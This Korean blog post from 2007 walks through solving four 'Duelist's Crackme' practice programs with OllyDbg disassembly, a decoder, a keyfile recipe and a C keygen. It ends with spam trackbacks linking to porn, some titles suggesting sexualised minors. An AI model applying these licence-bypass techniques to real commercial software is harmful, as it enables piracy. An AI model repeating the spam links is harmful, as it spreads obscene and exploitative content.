004010FB   > /6A 24         PUSH 24                                  ; /Count = 24 (36.)
004010FD   . |68 F7204000   PUSH due-cm1.004020F7                    ; |Buffer = due-cm1.004020F7
00401102   . |6A 01         PUSH 1                                   ; |ControlID = 1
00401104   . |FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
00401107   . |E8 55020000   CALL <JMP.&USER32.GetDlgItemTextA>       ; \GetDlgItemTextA
0040110C   . |33C0          XOR EAX,EAX

0040110E   > |80B8 F7204000>CMP BYTE PTR DS:[EAX+4020F7],0
00401115   . |74 18         JE SHORT due-cm1.0040112F
00401117   . |80B0 F7204000>XOR BYTE PTR DS:[EAX+4020F7],43
0040111E   . |80B0 F7204000>XOR BYTE PTR DS:[EAX+4020F7],1E
00401125   . |80B0 F7204000>XOR BYTE PTR DS:[EAX+4020F7],55
0040112C   . |40            INC EAX
0040112D   .^|E2 DF         LOOPD SHORT due-cm1.0040110E
0040112F   > |83F8 00       CMP EAX,0
00401132   . |75 18         JNZ SHORT due-cm1.0040114C

00401134   . |68 00200000   PUSH 2000                                ; /Style = MB_OK|MB_TASKMODAL
00401139   . |68 01204000   PUSH due-cm1.00402001                    ; |Title = "Duelist's Crackme #1"
0040113E   . |68 9D204000   PUSH due-cm1.0040209D                    ; |Text = "Couldn't validate code, because it wasn't entered..."
00401143   . |6A 00         PUSH 0                                   ; |hOwner = NULL
00401145   . |E8 A5010000   CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
0040114A   .^|EB A8         JMP SHORT due-cm1.004010F4

0040114C   > |6A 24         PUSH 24                                  ; /Arg3 = 00000024
0040114E   . |68 D3204000   PUSH due-cm1.004020D3                    ; |Arg2 = 004020D3
00401153   . |68 F7204000   PUSH due-cm1.004020F7                    ; |Arg1 = 004020F7
00401158   . |E8 64000000   CALL due-cm1.004011C1                    ; \due-cm1.004011C1

0040115D   . |83F8 00       CMP EAX,0
00401160   . |74 1B         JE SHORT due-cm1.0040117D

00401162   . |68 00200000   PUSH 2000                                ; /Style = MB_OK|MB_TASKMODAL
00401167   . |68 01204000   PUSH due-cm1.00402001                    ; |Title = "Duelist's Crackme #1"
0040116C   . |68 17204000   PUSH due-cm1.00402017                    ; |Text = "Congratulations! Please send your name/email/solution to duelist@beer.com!"
00401171   . |6A 00         PUSH 0                                   ; |hOwner = NULL
00401173   . |E8 77010000   CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA

쉽네요. 그냥 xor로 돌면서 암호화 시키는거 였습니다.
암호화된 결과가 {aexdm&kzikcem&<&fmjam{&jq&l}mda{| 가 되어야 하는군요.
간단한 코드를 작성하여 보았습니다.

#include "stdafx.h"
#include <string.h>
int main(int argc, char* argv[])
{
char corret[] = "{aexdm&kzikcem&<&fmjam{&jq&l}mda{|";
char tmp;
for(int i = 0; i <= strlen(corret); i++)
{
for(char chr = 0x20; chr <= 'z'; chr++)
{
  tmp = chr ^ 0x43;
  tmp ^= 0x1E;
  tmp ^= 0x55;
  if(tmp == corret[i])
   printf("%c",chr);
}
}
printf("\n");
return 0;
}

실행 시켜보면..

사용자 삽입 이미지


===============================
Crackme #2
===============================

이번에는 Keyfile을 찾는 문제라는군요.

처음 실행시키면 다음과 같이 keyfile 어쩌고 나오네요.

사용자 삽입 이미지

Olly로 Keyfile이 뭔지 살펴 보면..

0040105C   .  6A 00         PUSH 0                                   ; |/hTemplateFile = NULL
0040105E   .  68 6F214000   PUSH due-cm2.0040216F                    ; ||Attributes = READONLY|HIDDEN|SYSTEM|ARCHIVE|TEMPORARY|402048
00401063   .  6A 03         PUSH 3                                   ; ||Mode = OPEN_EXISTING
00401065   .  6A 00         PUSH 0                                   ; ||pSecurity = NULL
00401067   .  6A 03         PUSH 3                                   ; ||ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00401069   .  68 000000C0   PUSH C0000000                            ; ||Access = GENERIC_READ|GENERIC_WRITE
0040106E   .  68 79204000   PUSH due-cm2.00402079                   
; ||FileName = "due-cm2.dat"
00401073   .  E8 0B020000   CALL <JMP.&KERNEL32.CreateFileA>         ; |\CreateFileA

due-cm2.dat 라는 파일이군요.

요구조건을 살펴보죠.

004010C7   .  3C 00         CMP AL,0
004010C9   .  74 08         JE SHORT due-cm2.004010D3

004010CB   .  3C 01         CMP AL,1
004010CD   .  75 01         JNZ SHORT due-cm2.004010D0

004010CF   .  46            INC ESI
004010D0   >  43            INC EBX
004010D1   .^ EB EE         JMP SHORT due-cm2.004010C1

004010D3   >  83FE 02       CMP ESI,2
004010D6   .  7C 1F         JL SHORT due-cm2.004010F7

004010D8   .  33F6          XOR ESI,ESI
004010DA   .  33DB          XOR EBX,EBX

004010DC   >  8A83 1A214000 MOV AL,BYTE PTR DS:[EBX+40211A]

004010E2   .  3C 00         CMP AL,0
004010E4   .  74 09         JE SHORT due-cm2.004010EF

004010E6   .  3C 01         CMP AL,1
004010E8   .  74 05         JE SHORT due-cm2.004010EF

004010EA   .  03F0          ADD ESI,EAX
004010EC   .  43            INC EBX

004010ED   .^ EB ED         JMP SHORT due-cm2.004010DC

004010EF   >  81FE D5010000 CMP ESI,1D5
004010F5   .  74 1D         JE SHORT due-cm2.00401114

004010F7   >  6A 00         PUSH 0                                   ; |/Style = MB_OK|MB_APPLMODAL
004010F9   . |68 01204000   PUSH due-cm2.00402001                    ; ||Title = "Duelist's Crackme #2"
004010FE   . |68 86204000   PUSH due-cm2.00402086                    ; ||Text = "Your current keyfile is invalid... Please obtain a valid one from the software author!"
00401103   . |6A 00         PUSH 0                                   ; ||hOwner = NULL
00401105   . |E8 5D020000   CALL <JMP.&USER32.MessageBoxA>           ; |\MessageBoxA
0040110A   . |E8 AA010000   CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess

00이 나올떄 까지 루프를 도는데, 이때 01의 갯수가 2가 아니면 올바르지 않는
Keyfile로 인식합니다. 그러니까 00이 나오기 전에 반드시 01이 두개 있어야 겠죠.

그런데, 0x4010dc에 보면 파일의 첫번쨰 바이트를 al에 넣고 0이나 1이 아닌 동안,
esi에 계속 더하는 것을 볼 수 있고 그 더한 값이 0x1d5가 되어야 한다고 합니다.
0x1d5는 10진수로 469 이고 딱 떨어지게 나누려면 7으로 나누면 67(0x43)이 되겠죠.

0x43으로 7bytes를 넣어주고, 01 01을 넣어주면 이 루프는 통과하게 되겠네요.

00401117   .  8A83 1A214000 MOV AL,BYTE PTR DS:[EBX+40211A]

0040111D   .  3C 00         CMP AL,0
0040111F   .  74 18         JE SHORT due-cm2.00401139

00401121   .  3C 01         CMP AL,1
00401123   .  74 14         JE SHORT due-cm2.00401139

00401125   .  83FE 0F       CMP ESI,0F
00401128   .  73 0F         JNB SHORT due-cm2.00401139

0040112A   .  3286 1A214000 XOR AL,BYTE PTR DS:[ESI+40211A]

00401130   .  8986 60214000 MOV DWORD PTR DS:[ESI+402160],EAX
00401136   .  46            INC ESI
00401137   .^ EB DD         JMP SHORT due-cm2.00401116

00401139   >  43            INC EBX
0040113A   .  33F6          XOR ESI,ESI

0040113C   >  8A83 1A214000 MOV AL,BYTE PTR DS:[EBX+40211A]

00401142   .  3C 00         CMP AL,0
00401144   .  74 09         JE SHORT due-cm2.0040114F

00401146   .  3C 01         CMP AL,1
00401148   .^ 74 F2         JE SHORT due-cm2.0040113C

0040114A   .  03F0          ADD ESI,EAX

0040114C   .  43            INC EBX
0040114D   .^ EB ED         JMP SHORT due-cm2.0040113C

0040114F   >  81FE B2010000 CMP ESI,1B2
00401155   .^ 75 A0         JNZ SHORT due-cm2.004010F7

00401157   .  6A 00         PUSH 0                                   ; /lParam = NULL
00401159   .  68 C9114000   PUSH due-cm2.004011C9                    ; |DlgProc = due-cm2.004011C9
0040115E   .  6A 00         PUSH 0                                   ; |hOwner = NULL
00401160   .  6A 05         PUSH 5                                   ; |pTemplate = 5
00401162   .  FF35 77214000 PUSH DWORD PTR DS:[402177]               ; |hInst = NULL
00401168   .  E8 42020000   CALL <JMP.&USER32.DialogBoxParamA>      
; \DialogBoxParamA

01 01 다음의 byte를 0이 나올떄 까지 계속 더하네요.
0x1B2는 10진수로 434죠. 434 역시 7로 나누어 떨어집니다.
몫은 0x3E(62)가 되네요. 0x3E로 7개를 채워주고 그다음엔 00을 넣어주면 되겠네요.
그리고 한바이트 더 01을 넣어주면 끝입니다.

자 이렇게 해서 나온 keyfile을 같은 폴더에 넣고 대상을 실행시켜 보면..

사용자 삽입 이미지


===============================
Crackme #3
===============================

먼저 대상을 실행시킨,
Tip으로 리소스 에디터를 이용하는게 좋다네요.

그래서 리소스해커로 대상프로그램을 열어서 내용을 봤습니다.

  CONTROL "Close", 2, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 59, 32, 28, 14
  CONTROL "Check", 1, BUTTON, BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 27, 32, 29, 14
  CONTROL "", 97, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 5, 5, 8, 8
  CONTROL "732", 73, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 17, 5, 8, 8
  CONTROL "", 94, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 29, 5, 8, 8
  CONTROL "", 22, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 41, 5, 8, 8
  CONTROL "", 37, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 53, 5, 8, 8
  CONTROL "", 38, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 65, 5, 8, 8
  CONTROL "", 89, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 89, 5, 8, 8
  CONTROL "", 33, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 77, 5, 8, 8
  CONTROL "", 83, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 101, 5, 8, 8
  CONTROL "", 21, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 5, 18, 8, 8
  CONTROL "", 55, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 17, 18, 8, 8
  CONTROL "", 49, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 29, 18, 8, 8
  CONTROL "", 72, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 41, 18, 8, 8
  CONTROL "", 93, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 53, 18, 8, 8
  CONTROL "", 12, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 65, 18, 8, 8
  CONTROL "", 39, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 89, 18, 8, 8
  CONTROL "", 82, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 77, 18, 8, 8
  CONTROL "", 29, BUTTON, BS_AUTOCHECKBOX | WS_CHILD | WS_VISIBLE | WS_TABSTOP, 101, 18, 8, 8

이를 통해 각 체크 박스의 번호를 알수 있고,
체크버튼은 1번이고, 종료 버튼은 2번이네요.

Olly에서 대상 프로그램을 열고 Check 버튼을 누를떄의 코드를 살펴보면,

0040111B   .  8935 5E214000 MOV DWORD PTR DS:[40215E],ESI
00401121   .  8935 62214000 MOV DWORD PTR DS:[402162],ESI

00401127   > /0FBE8E FE2040>MOVSX ECX,BYTE PTR DS:[ESI+4020FE]

0040112E   . |83F9 4D       CMP ECX,4D
00401131   . |74 2F         JE SHORT due-cm3.00401162

00401133   . |890D 5E214000 MOV DWORD PTR DS:[40215E],ECX
00401139   . |51            PUSH ECX                                 ; /ButtonID
0040113A   . |FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
0040113D   . |E8 D0010000   CALL <JMP.&USER32.IsDlgButtonChecked>    ; \IsDlgButtonChecked

00401142   . |46            INC ESI

00401143   . |83F8 00       CMP EAX,0
00401146   .^ 74 DF         JE SHORT due-cm3.00401127

00401148   . |A1 5E214000   MOV EAX,DWORD PTR DS:[40215E]
0040114D   . |0FBE8E FE2040>MOVSX ECX,BYTE PTR DS:[ESI+4020FE]

00401154   . |0FAFC1        IMUL EAX,ECX
00401157   . |0FAFC6        IMUL EAX,ESI

0040115A   . |0105 62214000 ADD DWORD PTR DS:[402162],EAX
00401160   .^\EB C5         JMP SHORT due-cm3.00401127
00401162   >  A1 62214000   MOV EAX,DWORD PTR DS:[402162]
00401167   .  6BC0 4D       IMUL EAX,EAX,4D

0040116A   .  3D 6654F300   CMP EAX,0F35466
0040116F   .  75 20         JNZ SHORT due-cm3.00401191


0x4020fe에서 한 바이트씩 가져와서 그를 ButtonID로 사용해서 Check되었는지
유무를 조사한 후, 체크되지 않았다면 그 다음 버튼을 조사하고 체크 되었다면
어떠한 처리를 하네요.

우선 0x4020fe에 가서 ButtonID의 순서를 가져와 보면,

004020FE  16 49 5E 15 27 26 21 25 1D 59 53 37 31 48 5D 0C  I^'&!%YS71H].
0040210E  61 52                                            aR

네요.

만약 16이라는 아이디를 가진 버튼이 체크되어 있다면,
다음의 곱셈 처리를 하네요.

00401154   . |0FAFC1        IMUL EAX,ECX
00401157   . |0FAFC6        IMUL EAX,ESI

0040115A   . |0105 62214000 ADD DWORD PTR DS:[402162],EAX
00401160   .^\EB C5         JMP SHORT due-cm3.00401127
00401162   >  A1 62214000   MOV EAX,DWORD PTR DS:[402162]
00401167   .  6BC0 4D       IMUL EAX,EAX,4D

(현재 버튼의 ID * 다음 버튼의 ID * 현재 순서) * 4d 로 표시해 볼 수 있겠네요.
만약 0x16이라는 아이디를 가진 버튼이 눌렸다면 (0x16 * 0x49 * 1) * 0x4d 가 되겠네요.
이렇게 구해진 값들을 모두 더해 0xF35466이 되면 된다고 합니다.

이는 잠시 후 프로그램 코드를 통해 해결하면 되는 문제인데,
문제가 되는건 ButtonID의 순서와 현재 창에 표시되는 번호 순서가 다르다는 것입니다.
귀찮지만 직접 순서를 부여해주면,

사용자 삽입 이미지

다음과 같이 0xF35466의 결과가 되는 조합을 찾아내느 코드를 작성해 보았습니다.

#include "stdafx.h"
int main(int argc, char* argv[])
{
char corret[18] = {0x16,0x49,0x5E,0x15,0x27,0x26,0x21,0x25,0x1D,
     0x59,0x53,0x37,0x31,0x48,0x5D,0x0C,0x61,0x52};    
long sum;
for(int i = 0; i < 262144; i++)
{
sum = 0;
for(int j = 0; j < 18; j++)
{
  if(i & (1 << j))
  {
   sum += (corret[j] * corret[j+1] * (j+1)) * 0x4d;
  }
}
if(sum == 0xF35466)
{
  for(j =0; j < 18; j++)
  {
   printf("%d - ",j+1);
   if(i & (1 << j))
   {
    printf("O");
   }
   else
   {
    printf("X");
   }
   printf("\n");
  }
}
}
return 0;
}

실행 시켜 보니, 조합이 1개가 아니네요.

사용자 삽입 이미지

이를 순서대로 대입해 보면,

사용자 삽입 이미지

===============================
Crackme #4
===============================

이번엔 name에 맞는 serial을 구하는 문제입니다.

OllyDbg로 코드를 조금 살펴보면,

00401127   > /6A 00         PUSH 0                                   ; /lParam = 0
00401129   . |6A 00         PUSH 0                                   ; |wParam = 0
0040112B   . |6A 0E         PUSH 0E                                  ; |Message = WM_GETTEXTLENGTH
0040112D   . |6A 03         PUSH 3                                   ; |ControlID = 3
0040112F   . |FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
00401132   . |E8 41020000   CALL <JMP.&USER32.SendDlgItemMessageA>   ; \SendDlgItemMessageA
00401137   . |A3 AF214000   MOV DWORD PTR DS:[4021AF],EAX

0040113C   . |83F8 00       CMP EAX,0
0040113F   . |0F84 D5000000 JE due-cm4.0040121A

00401145   . |83F8 08       CMP EAX,8
00401148   . |0F8F CC000000 JG due-cm4.0040121A

Name의 글자수가 0이어도 안되고 8자를 넘어서도 안되네요.

00401150   .  6A 00         PUSH 0                                   ; /lParam = 0
00401152   .  6A 00         PUSH 0                                   ; |wParam = 0
00401154   .  6A 0E         PUSH 0E                                  ; |Message = WM_GETTEXTLENGTH
00401156   .  6A 04         PUSH 4                                   ; |ControlID = 4
00401158   .  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
0040115B   .  E8 18020000   CALL <JMP.&USER32.SendDlgItemMessageA>   ; \SendDlgItemMessageA

00401160   .  83F8 00       CMP EAX,0
00401163   .  0F84 B1000000 JE due-cm4.0040121A

00401169   .  3BF0          CMP ESI,EAX
0040116B   .  0F85 A9000000 JNZ due-cm4.0040121A

등록코드의 경우는 길이가 0이어서는 안되고, 유저이름의 길이와 다르면 안되네요.

00401171   .  68 60214000   PUSH due-cm4.00402160                    ; /lParam = 402160
00401176   .  6A 08         PUSH 8                                   ; |wParam = 8
00401178   .  6A 0D         PUSH 0D                                  ; |Message = WM_GETTEXT
0040117A   .  6A 03         PUSH 3                                   ; |ControlID = 3
0040117C   .  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
0040117F   .  E8 F4010000   CALL <JMP.&USER32.SendDlgItemMessageA>   ; \SendDlgItemMessageA

00401184   .  68 79214000   PUSH due-cm4.00402179                    ; /lParam = 402179
00401189   .  6A 10         PUSH 10                                  ; |wParam = 10
0040118B   .  6A 0D         PUSH 0D                                  ; |Message = WM_GETTEXT
0040118D   .  6A 04         PUSH 4                                   ; |ControlID = 4
0040118F   .  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hWnd
00401192   .  E8 E1010000   CALL <JMP.&USER32.SendDlgItemMessageA>   ; \SendDlgItemMessageA

이제 유저이름과 등록코드를 가져오는 것을 볼 수 있습니다.

0040119C   > /41            INC ECX
0040119D   . |0FBE81 602140>MOVSX EAX,BYTE PTR DS:[ECX+402160]

004011A4   . |83F8 00       CMP EAX,0                                ;  Switch (cases 0..7A)
004011A7   . |74 32         JE SHORT due-cm4.004011DB

004011A9   . |BE FFFFFFFF   MOV ESI,-1

004011AE   . |83F8 41       CMP EAX,41
004011B1   . |7C 67         JL SHORT due-cm4.0040121A

004011B3   . |83F8 7A       CMP EAX,7A
004011B6   . |77 62         JA SHORT due-cm4.0040121A

004011B8   . |83F8 5A       CMP EAX,5A
004011BB   . |7C 03         JL SHORT due-cm4.004011C0

004011BD   . |83E8 20       SUB EAX,20                               ;  Cases 5A ('Z'),5B ('['),5C ('\'),5D (']'),5E ('^'),5F ('_'),60 ('`'),61 ('a'),62 ('b'),63 ('c'),64 ('d'),65 ('e'),66 ('f'),67 ('g'),68 ('h'),69 ('i'),6A ('j'),6B ('k'),6C ('l'),6D ('m')... of switch 004011A4
004011C0   > |46            INC ESI                                  ;  Cases 41 ('A'),42 ('B'),43 ('C'),44 ('D'),45 ('E'),46 ('F'),47 ('G'),48 ('H'),49 ('I'),4A ('J'),4B ('K'),4C ('L'),4D ('M'),4E ('N'),4F ('O'),50 ('P'),51 ('Q'),52 ('R'),53 ('S'),54 ('T')... of switch 004011A4
004011C1   . |0FBE96 172040>MOVSX EDX,BYTE PTR DS:[ESI+402017]

004011C8   . |3BC2          CMP EAX,EDX
004011CA   .^|75 F4         JNZ SHORT due-cm4.004011C0

004011CC   . |0FBE86 3C2040>MOVSX EAX,BYTE PTR DS:[ESI+40203C]
004011D3   . |8981 94214000 MOV DWORD PTR DS:[ECX+402194],EAX
004011D9   .^\EB C1         JMP SHORT due-cm4.0040119C


글자는 A보다는 커야하고, z 보다는 작아야 하고, z 보다는 커야 하네요.

00402010                       41 31 4C 53 4B 32 44 4A 46         A1LSK2DJF
00402020  34 48 47 50 33 51 57 4F 35 45 49 52 36 55 54 59  4HGP3QWO5EIR6UTY
00402030  5A 38 4D 58 4E 37 43 42 56 39                    Z8MXN7CBV9

에 있는 글자와 사용자가 입력한 이름의 글자가 같아지는 순간의 ESI를 인덱스로

00402030                                   20 53 55 37 43              SU7C
00402040  53 4A 4B 46 30 39 4E 43 53 44 4F 39 53 44 46 30  SJKF09NCSDO9SDF0
00402050  39 53 44 52 4C 56 4B 37 38 30 39 53 34 4E 46     9SDRLVK7809S4NF

에 있는 글자를 차례로 하면 시리얼이 되는 것입니다.
아 그리고 소문자일 경우는 0x20을 뺴줘서 대문자로 만들어 주고 있네요.
이런 정보를 가지고 keygen을 한번 작성해 보았습니다.

int main(int argc, char* argv[])
{
char name[8];
char order[] = "A1LSK2DJF4HGP3QWO5EIR6UTYZ8MXN7CBV9";
char key[] = "SU7CSJKF09NCSDO9SDF09SDRLVK7809S4NF";

printf("Enter your Name : ");
scanf("%s",name);

if(strlen(name) > 8)
{
printf("Name must shorter than 8 bytes\n");
exit(-1);
}
CharUpper(name);
for(int i = 0; i < strlen(name); i++)
{
for(int j = 0; j < strlen(order); j++)
{
  if(name[i] == order[j])
  {
   printf("%c",key[j]);
  }
}
}
printf("\n");
return 0;
}

실행 시켜보면,

사용자 삽입 이미지


유저이름 Dual에 대한 Serial은 KDS7이라는 군요.
실제로 한번 대입해 보죠.

사용자 삽입 이미지
이올린에 북마크하기

Posted by Dual

2007/04/15 23:59 2007/04/15 23:59
Response
146 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/278

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/278

Trackbacks List

  1. erotic porn

    Tracked from erotic porn 2009/04/08 16:08 Delete

    erotic porn <a href="http://ehurunic7562008.blogspot.com/">erotic porn</a>

  2. sucker stopper

    Tracked from sucker stopper 2009/04/10 17:13 Delete

    vintage cabochard <a href="http://kiryuocofos1672008.blogspot.com/">vintage cabochard</a>

  3. southwest-licking-local-schools

    Tracked from southwest-licking-local-schools 2009/04/10 21:21 Delete

    <a href="http://adultcircumcision65.forumotion.net/your-first-forum-f1/private-fkk-bilder-t7.htm">private-fkk-bilder</a> private-fkk-bilder <a href="http://amateurmoms82.forumotion.net/your-first-forum-f1/vaginal-chafing-t8.htm">vaginal-chafing</a>...

  4. skin-rejuvenation-walnut-creek

    Tracked from skin-rejuvenation-walnut-creek 2009/04/10 21:56 Delete

    <a href="http://gayhotmovies93.forumotion.net/your-first-forum-f1/shemale-charm-galleries-t5.htm">shemale-charm-galleries</a> shemale-charm-galleries <a href="http://analsexmovies55.forumotion.net/your-first-forum-f1/zac-hanson-virginity-t4.htm">zac-...

  5. shaved-womens-pussies

    Tracked from shaved-womens-pussies 2009/04/13 00:07 Delete

    <a href="http://www.maclife.com/user/48424/">menstration-calendar</a> menstration-calendar <a href="http://www.maclife.com/user/49520/">pridesites-webcam</a> pridesites-webcam

  6. jesse-spencer-nude

    Tracked from jesse-spencer-nude 2009/04/13 01:17 Delete

    <a href="http://www.maclife.com/user/48329/">installing-1911-thumb-safety</a> installing-1911-thumb-safety <a href="http://www.maclife.com/user/48327/">medicus-swing-trainer</a> medicus-swing-trainer

  7. model-moroco

    Tracked from model-moroco 2009/04/13 01:54 Delete

    <a href="http://www.maclife.com/user/48703/">purple-panty-girdle</a> purple-panty-girdle <a href="http://www.maclife.com/user/48532/">gargantuan-boobs</a> gargantuan-boobs

  8. kiera knightly nude

    Tracked from kiera knightly nude 2009/04/14 15:04 Delete

    free legal adult viewing <a href="http://uwigytume6002008.blogspot.com/">free legal adult viewing</a>

  9. pete-wentz-nude

    Tracked from pete-wentz-nude 2009/04/14 15:51 Delete

    big-booty-black-porn <a href="http://www.maclife.com/user/51542/">big-booty-black-porn</a> anna-nicole-nude <a href="http://www.maclife.com/user/51521/">anna-nicole-nude</a>

  10. vintage-porn-post

    Tracked from vintage-porn-post 2009/04/14 16:55 Delete

    angelina-jolie-in-bikini <a href="http://www.maclife.com/user/51164/">angelina-jolie-in-bikini</a> kardashian-sex-tape <a href="http://www.maclife.com/user/51420/">kardashian-sex-tape</a>

  11. daily-amateur-chix

    Tracked from daily-amateur-chix 2009/04/14 17:31 Delete

    vida-guerra-porn <a href="http://www.maclife.com/user/51453/">vida-guerra-porn</a> free-indian-porn <a href="http://www.maclife.com/user/51489/">free-indian-porn</a>

  12. nude-pregnant-women

    Tracked from nude-pregnant-women 2009/04/14 18:28 Delete

    porn-star-book <a href="http://www.maclife.com/user/52000/">porn-star-book</a> adult-intimate-lingerie <a href="http://www.maclife.com/user/52143/">adult-intimate-lingerie</a>

  13. filipino-bar-girls

    Tracked from filipino-bar-girls 2009/04/14 19:06 Delete

    free-gay-porn-pics <a href="http://www.maclife.com/user/52101/">free-gay-porn-pics</a> brooke-burke-nude <a href="http://www.maclife.com/user/51688/">brooke-burke-nude</a>

  14. Black Gay Porn

    Tracked from Black Gay Porn 2009/04/16 23:56 Delete

    Free Nude Babes <a href="http://bet2052008.blogspot.com/">Free Nude Babes</a>

  15. Piano-Lessons-Adult

    Tracked from Piano-Lessons-Adult 2009/04/17 01:01 Delete

    Free-Mature-Pussy <a href="http://www.videocodezone.com/users/Free-Mature-Pussy/">Free-Mature-Pussy</a> First-Time-Sex-Stor <a href="http://www.videocodezone.com/users/First-Time-Sex-Stor/">First-Time-Sex-Stor</a>

  16. Hip-Hop-Girls

    Tracked from Hip-Hop-Girls 2009/04/17 01:39 Delete

    Free-Adult-Porn-Pic <a href="http://www.videocodezone.com/users/Free-Adult-Porn-Pic/">Free-Adult-Porn-Pic</a> Free-Gay-Chat-Rooms <a href="http://www.videocodezone.com/users/Free-Gay-Chat-Rooms/">Free-Gay-Chat-Rooms</a>

  17. College-Girls-Nude

    Tracked from College-Girls-Nude 2009/04/17 02:21 Delete

    Jennifer-Love-Hewit <a href="http://www.videocodezone.com/users/Jennifer-Love-Hewit/">Jennifer-Love-Hewit</a> Young-Girls-Nude <a href="http://www.videocodezone.com/users/Young-Girls-Nude/">Young-Girls-Nude</a>

  18. Teenage-Bedding-For

    Tracked from Teenage-Bedding-For 2009/04/17 03:50 Delete

    Free-Hardcore-Porn- <a href="http://www.videocodezone.com/users/Free-Hardcore-Porn-/">Free-Hardcore-Porn-</a> Female-Models-Nude <a href="http://www.videocodezone.com/users/Female-Models-Nude/">Female-Models-Nude</a>

  19. Surfer-Girls-Stripp

    Tracked from Surfer-Girls-Stripp 2009/04/17 04:25 Delete

    Nifty-Sex-Stories <a href="http://www.videocodezone.com/users/Nifty-Sex-Stories/">Nifty-Sex-Stories</a> Fuck-My-Sister <a href="http://www.videocodezone.com/users/Fuck-My-Sister/">Fuck-My-Sister</a>

  20. asian lesbian porn

    Tracked from asian lesbian porn 2009/04/20 22:12 Delete

    free gay xxx <a href="http://voci9772008.blogspot.com/">free gay xxx</a>

  21. brazillian transexuals

    Tracked from brazillian transexuals 2009/04/22 21:47 Delete

    chloe vevier <a href="http://byn1362008.blogspot.com/">chloe vevier</a>

  22. sissy-station-assignments

    Tracked from sissy-station-assignments 2009/04/22 22:16 Delete

    pantyhose-dicussion <a href="http://www.maclife.com/user/62457/">pantyhose-dicussion</a> bare-polarheat <a href="http://www.maclife.com/user/62732/">bare-polarheat</a>

  23. destin-breast-implants

    Tracked from destin-breast-implants 2009/04/22 22:36 Delete

    jill-halfpenny-naked <a href="http://www.maclife.com/user/62613/">jill-halfpenny-naked</a> busty-burnettes <a href="http://www.maclife.com/user/62208/">busty-burnettes</a>

  24. teen-guys-earrings

    Tracked from teen-guys-earrings 2009/04/22 23:23 Delete

    semen-spurting <a href="http://www.maclife.com/user/62511/">semen-spurting</a> sex-stiries <a href="http://www.maclife.com/user/62219/">sex-stiries</a>

  25. mothers-masterbating

    Tracked from mothers-masterbating 2009/04/23 00:05 Delete

    giantess-fart <a href="http://www.maclife.com/user/63105/">giantess-fart</a> amber-valetta-nude <a href="http://www.maclife.com/user/62432/">amber-valetta-nude</a>

  26. judy jetson porn

    Tracked from judy jetson porn 2009/04/23 00:30 Delete

    naked mature elwomen <a href="http://ewarecevur6102008.blogspot.com/">naked mature elwomen</a>

  27. teen-casting-couch

    Tracked from teen-casting-couch 2009/04/23 01:32 Delete

    free-fuck-stories <a href="http://www.world66.com/member/free_fuck_stories">free-fuck-stories</a> teen-model-forum <a href="http://www.world66.com/member/teen_model_forum_3">teen-model-forum</a>

  28. lisa-simpson-porn

    Tracked from lisa-simpson-porn 2009/04/23 01:47 Delete

    little-nude-girls <a href="http://www.world66.com/member/little_nude_girls">little-nude-girls</a> marisa-miller-nude <a href="http://www.world66.com/member/marisa_miller_nude">marisa-miller-nude</a>

  29. adult-web-cams

    Tracked from adult-web-cams 2009/04/23 02:16 Delete

    surfers-private-porn <a href="http://www.world66.com/member/surfers_private_po">surfers-private-porn</a> free-porn-search-engine <a href="http://www.world66.com/member/free_porn_search_e">free-porn-search-engine</a>

  30. girls-doing-guys

    Tracked from girls-doing-guys 2009/04/23 02:34 Delete

    free-lesbian-sex-pics <a href="http://www.world66.com/member/free_lesbian_sex_p">free-lesbian-sex-pics</a> adult-sex-vacations <a href="http://www.world66.com/member/adult_sex_vacation">adult-sex-vacations</a>

  31. hairy-mature-women

    Tracked from hairy-mature-women 2009/04/23 03:04 Delete

    brazilian-bikini-wax <a href="http://www.world66.com/member/brazilian_bikini_w">brazilian-bikini-wax</a> girls-boarding-school <a href="http://www.world66.com/member/girls_boarding_sch">girls-boarding-school</a>

  32. homemade masterbation toys

    Tracked from homemade masterbation toys 2009/04/23 15:52 Delete

    beth ditto naked <a href="http://gebazi9152008.blogspot.com/">beth ditto naked</a>

  33. beaver-deceiver

    Tracked from beaver-deceiver 2009/04/23 16:28 Delete

